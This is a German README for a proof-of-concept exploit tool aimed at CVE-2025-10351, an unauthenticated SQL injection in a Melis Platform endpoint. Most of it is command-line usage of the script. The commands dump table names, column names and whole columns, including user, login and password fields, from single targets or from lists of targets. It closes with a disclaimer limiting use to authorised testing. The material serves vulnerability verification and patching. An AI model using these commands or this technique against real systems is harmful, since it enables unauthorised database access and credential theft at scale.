CVE-2025-10351 POC - SQL-Injection-Exploit 💉

POC für CVE-2025-10351: Eine nicht authentifizierte SQL-Injection-Schwachstelle, die einen bestimmten Endpunkt im Melis Platform Framework betrifft.

🔗 Referenzen

• 📄 CVE-2025-10351 auf MITRE
• 📄 Melis Platform Warnung auf INCIBE (Spanisches Nationales Cybersicherheitsinstitut)

🚀 Beschreibung

Dieser POC zielt auf eine nicht authentifizierte fehlerbasierte SQL-Injection-Schwachstelle im Endpunkt:

melis/MelisCms/PageEdition/getTinyTemplates?idPage=

Er nutzt updatexml() in MySQL aus, um Folgendes zu extrahieren:

• Tabellennamen
• Spaltennamen
• Daten aus bestimmten oder allen Spalten

Er erkennt auch mögliche zeitbasierte SQLi-Vektoren für weitere manuelle Ausnutzung.

🛠️ Anforderungen

Installiere Abhängigkeiten mit:

pip3 install -r requirements.txt

🧪 Verwendung

Grundprüfung

python3 CVE-2025-10351-POC.py -u http://target.com -p 80

Aus URL-Liste

python3 CVE-2025-10351-POC.py -l targets.txt

Alle Tabellennamen extrahieren

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

Alle Spaltennamen aus einer Tabelle extrahieren

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

Alle Daten aus allen Spalten extrahieren

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

Bestimmte Spalten extrahieren

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

Proxy mit unsicherem Modus, Cookies und Debug-Modus verwenden

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

⚙️ Optionen

📤 Ausgabe

• Extrahierte Tabellen gespeichert in tables_extracted.txt
• Extrahierte Daten gespeichert in <table_name>_data.txt

⚠️ Haftungsausschluss

Dieses Dokument dient ausschließlich der autorisierten Sicherheitstests und Abhilfe. Verwende den PoC oder die Reproduktionsschritte nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast. Der Autor übernimmt keine Verantwortung für Missbrauch.

Hergestellt mit ❤️ von Manuel Iván San Martín Castillo